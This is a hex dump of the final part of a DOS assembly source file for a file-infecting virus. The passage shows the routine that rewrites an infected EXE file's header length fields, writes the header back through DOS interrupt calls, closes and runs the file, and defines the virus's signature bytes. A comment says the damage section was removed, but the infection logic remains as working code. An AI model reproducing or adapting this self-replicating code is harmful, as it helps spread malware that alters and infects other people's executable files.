20 53 55 42 20 20 |1.. | SUB | |00003380| 20 20 20 41 58 2c 44 53 | 3a 49 44 5b 31 30 48 5d | AX,DS|:ID[10H]| |00003390| 0d 0a 20 20 20 20 20 20 | 20 20 4d 4f 56 20 20 20 |.. | MOV | |000033a0| 20 20 44 53 3a 49 44 5b | 31 45 48 5d 2c 41 58 0d | DS:ID[|1EH],AX.| |000033b0| 0a 3b 0d 0a 3b 20 20 20 | 20 20 20 20 4d 6f 64 69 |.;..; | Modi| |000033c0| 66 79 20 6c 65 6e 67 74 | 68 20 6d 6f 64 20 35 31 |fy lengt|h mod 51| |000033d0| 32 0d 0a 3b 0d 0a 20 20 | 20 20 20 20 20 20 41 44 |2..;.. | AD| |000033e0| 44 20 20 20 20 20 44 53 | 3a 5b 4c 45 4e 5f 4c 4f |D DS|:[LEN_LO| |000033f0| 5d 2c 4f 46 46 53 45 54 | 20 49 44 2b 34 0d 0a 20 |],OFFSET| ID+4.. | |00003400| 20 20 20 20 20 20 20 4a | 4e 43 20 20 20 20 20 4c | J|NC L| |00003410| 31 34 0d 0a 20 20 20 20 | 20 20 20 20 49 4e 43 20 |14.. | INC | |00003420| 20 20 20 20 44 53 3a 5b | 4c 45 4e 5f 48 49 5d 0d | DS:[|LEN_HI].| |00003430| 0a 4c 31 34 3a 20 20 20 | 20 4d 4f 56 20 20 20 20 |.L14: | MOV | |00003440| 20 41 58 2c 44 53 3a 5b | 4c 45 4e 5f 4c 4f 5d 0d | AX,DS:[|LEN_LO].| |00003450| 0a 20 20 20 20 20 20 20 | 20 41 4e 44 20 20 20 20 |. | AND | |00003460| 20 41 58 2c 35 31 31 0d | 0a 20 20 20 20 20 20 20 | AX,511.|. | |00003470| 20 4d 4f 56 20 20 20 20 | 20 44 53 3a 49 44 5b 30 | MOV | DS:ID[0| |00003480| 41 48 5d 2c 41 58 0d 0a | 3b 0d 0a 3b 20 20 20 20 |AH],AX..|;..; | |00003490| 20 20 20 4d 6f 64 69 66 | 79 20 6e 75 6d 62 65 72 | Modif|y number| |000034a0| 20 6f 66 20 62 6c 6f 63 | 6b 73 20 75 73 65 64 0d | of bloc|ks used.| |000034b0| 0a 3b 0d 0a 20 20 20 20 | 20 20 20 20 4d 4f 56 20 |.;.. | MOV | |000034c0| 20 20 20 20 44 58 2c 44 | 53 3a 5b 4c 45 4e 5f 48 | DX,D|S:[LEN_H| |000034d0| 49 5d 0d 0a 20 20 20 20 | 20 20 20 20 4d 4f 56 20 |I].. | MOV | |000034e0| 20 20 20 20 41 58 2c 44 | 53 3a 5b 4c 45 4e 5f 4c | AX,D|S:[LEN_L| |000034f0| 4f 5d 0d 0a 20 20 20 20 | 20 20 20 20 41 44 44 20 |O].. | ADD | |00003500| 20 20 20 20 41 58 2c 35 | 31 31 0d 0a 20 20 20 20 | AX,5|11.. | |00003510| 20 20 20 20 4a 4e 43 20 | 20 20 20 20 4c 31 34 41 | JNC | L14A| |00003520| 0d 0a 20 20 20 20 20 20 | 20 20 49 4e 43 20 20 20 |.. | INC | |00003530| 20 20 44 58 0d 0a 4c 31 | 34 41 3a 20 20 20 4d 4f | DX..L1|4A: MO| |00003540| 56 20 20 20 20 20 41 4c | 2c 41 48 0d 0a 20 20 20 |V AL|,AH.. | |00003550| 20 20 20 20 20 4d 4f 56 | 20 20 20 20 20 41 48 2c | MOV| AH,| |00003560| 44 4c 0d 0a 20 20 20 20 | 20 20 20 20 53 48 52 20 |DL.. | SHR | |00003570| 20 20 20 20 41 58 2c 31 | 0d 0a 20 20 20 20 20 20 | AX,1|.. | |00003580| 20 20 4d 4f 56 20 20 20 | 20 20 44 53 3a 49 44 5b | MOV | DS:ID[| |00003590| 30 43 48 5d 2c 41 58 0d | 0a 3b 0d 0a 3b 20 20 20 |0CH],AX.|.;..; | |000035a0| 20 20 20 20 46 69 6e 61 | 6c 6c 79 20 74 68 65 20 | Fina|lly the | |000035b0| 6d 6f 64 69 66 69 65 64 | 20 68 65 61 64 65 72 20 |modified| header | |000035c0| 69 73 20 77 72 69 74 74 | 65 6e 20 62 61 63 6b 20 |is writt|en back | |000035d0| 74 6f 20 74 68 65 20 73 | 74 61 72 74 20 6f 66 20 |to the s|tart of | |000035e0| 74 68 65 0d 0a 3b 20 20 | 20 20 20 20 20 66 69 6c |the..; | fil| |000035f0| 65 2e 0d 0a 3b 0d 0a 51 | 51 51 3a 20 20 20 20 4d |e...;..Q|QQ: M| |00003600| 4f 56 20 20 20 20 20 41 | 58 2c 34 32 30 30 48 0d |OV A|X,4200H.| |00003610| 0a 20 20 20 20 20 20 20 | 20 58 4f 52 20 20 20 20 |. | XOR | |00003620| 20 43 58 2c 43 58 0d 0a | 20 20 20 20 20 20 20 20 | CX,CX..| | |00003630| 58 4f 52 20 20 20 20 20 | 44 58 2c 44 58 0d 0a 20 |XOR |DX,DX.. | |00003640| 20 20 20 20 20 20 20 50 | 55 53 48 46 0d 0a 20 20 | P|USHF.. | |00003650| 20 20 20 20 20 20 43 41 | 4c 4c 20 20 20 20 44 57 | CA|LL DW| |00003660| 4f 52 44 20 50 54 52 20 | 43 53 3a 5b 44 4f 53 50 |ORD PTR |CS:[DOSP| |00003670| 43 5d 0d 0a 20 20 20 20 | 20 20 20 20 4a 43 20 20 |C].. | JC | |00003680| 20 20 20 20 45 4e 44 49 | 54 0d 0a 20 20 20 20 20 | ENDI|T.. | |00003690| 20 20 20 4d 4f 56 20 20 | 20 20 20 41 48 2c 34 30 | MOV | AH,40| |000036a0| 48 0d 0a 20 20 20 20 20 | 20 20 20 4d 4f 56 20 20 |H.. | MOV | |000036b0| 20 20 20 44 58 2c 4f 46 | 46 53 45 54 20 49 44 2b | DX,OF|FSET ID+| |000036c0| 38 0d 0a 20 20 20 20 20 | 20 20 20 4d 4f 56 20 20 |8.. | MOV | |000036d0| 20 20 20 43 58 2c 31 43 | 48 0d 0a 20 20 20 20 20 | CX,1C|H.. | |000036e0| 20 20 20 50 55 53 48 46 | 0d 0a 20 20 20 20 20 20 | PUSHF|.. | |000036f0| 20 20 43 41 4c 4c 20 20 | 20 20 44 57 4f 52 44 20 | CALL | DWORD | |00003700| 50 54 52 20 43 53 3a 5b | 44 4f 53 50 43 5d 0d 0a |PTR CS:[|DOSPC]..| |00003710| 20 20 20 20 20 20 20 20 | 4a 43 20 20 20 20 20 20 | |JC | |00003720| 45 4e 44 49 54 0d 0a 20 | 20 20 20 20 20 20 20 4d |ENDIT.. | M| |00003730| 4f 56 20 20 20 20 20 41 | 48 2c 33 45 48 0d 0a 20 |OV A|H,3EH.. | |00003740| 20 20 20 20 20 20 20 50 | 55 53 48 46 0d 0a 20 20 | P|USHF.. | |00003750| 20 20 20 20 20 20 43 41 | 4c 4c 20 20 20 20 44 57 | CA|LL DW| |00003760| 4f 52 44 20 50 54 52 20 | 43 53 3a 5b 44 4f 53 50 |ORD PTR |CS:[DOSP| |00003770| 43 5d 0d 0a 3b 0d 0a 3b | 20 20 20 20 20 20 20 49 |C]..;..;| I| |00003780| 6e 66 65 63 74 69 6f 6e | 20 69 73 20 66 69 6e 69 |nfection| is fini| |00003790| 73 68 65 64 20 2d 20 63 | 6c 6f 73 65 20 74 68 65 |shed - c|lose the| |000037a0| 20 66 69 6c 65 20 61 6e | 64 20 65 78 65 63 75 74 | file an|d execut| |000037b0| 65 20 69 74 2e 0d 0a 3b | 0d 0a 45 4e 44 49 54 3a |e it...;|..ENDIT:| |000037c0| 20 20 4a 4d 50 20 20 20 | 20 20 4c 39 0d 0a 3b 0d | JMP | L9..;.| |000037d0| 0a 3b 20 20 20 20 20 20 | 20 54 68 65 20 64 61 6d |.; | The dam| |000037e0| 61 67 65 20 73 65 63 74 | 69 6f 6e 20 6c 6f 63 61 |age sect|ion loca| |000037f0| 74 65 64 20 68 65 72 65 | 20 68 61 73 20 62 65 65 |ted here| has bee| |00003800| 6e 20 72 65 6d 6f 76 65 | 64 2e 0d 0a 3b 0d 0a 0d |n remove|d...;...| |00003810| 0a 4e 45 57 32 31 20 20 | 20 45 4e 44 50 0d 0a 0d |.NEW21 | ENDP...| |00003820| 0a 44 4f 53 50 43 20 20 | 20 44 57 20 20 20 20 20 |.DOSPC | DW | |00003830| 20 3f 0d 0a 0d 0a 44 4f | 53 53 45 47 20 20 20 44 | ?....DO|SSEG D| |00003840| 57 20 20 20 3f 0d 0a 43 | 4f 55 4e 54 45 52 20 44 |W ?..C|OUNTER D| |00003850| 42 20 20 20 20 20 20 31 | 30 0d 0a 4c 45 4e 5f 4c |B 1|0..LEN_L| |00003860| 4f 20 20 44 57 20 20 20 | 20 20 20 3f 0d 0a 4c 45 |O DW | ?..LE| |00003870| 4e 5f 48 49 20 20 44 57 | 20 20 20 20 20 20 3f 0d |N_HI DW| ?.| |00003880| 0a 49 44 20 20 20 20 20 | 20 44 57 20 20 20 20 20 |.ID | DW | |00003890| 20 34 34 31 38 48 2c 35 | 46 31 39 48 20 20 20 20 | 4418H,5|F19H | |000038a0| 20 20 20 20 20 20 20 20 | 20 3b 20 54 68 65 20 73 | | ; The s| |000038b0| 69 67 6e 61 74 75 72 65 | 20 6f 66 20 74 68 65 20 |ignature| of the | |000038c0| 76 69 72 75 73 2e 0d 0a | 3b 0d 0a 3b 20 20 20 20 |virus...|;..; | |000038d0| 20 20 20 41 20 62 75 66 | 66 65 72 2c 20 75 73 65 | A buf|fer, use| |000038e0| 64 20 66 6f 72 20 64 61 | 74 61 20 66 72 6f 6d 20 |d for da|ta from | |000038f0| 74 68 65 20 66 69 6c 65 | 2e 0d 0a 3b 0d 0a 5f 54 |the file|...;.._T| |00003900| 45 58 54 20 20 20 45 4e | 44 53 0d 0a 0d 0a 20 20 |EXT EN|DS.... | |00003910| 20 20 20 20 20 20 45 4e | 44 20 4c 41 42 45 4c 31 | EN|D LABEL1| |00003920| 0d 0a 20 0a 0a | |.. .. | | +--------+-------------------------+-------------------------+--------+--------+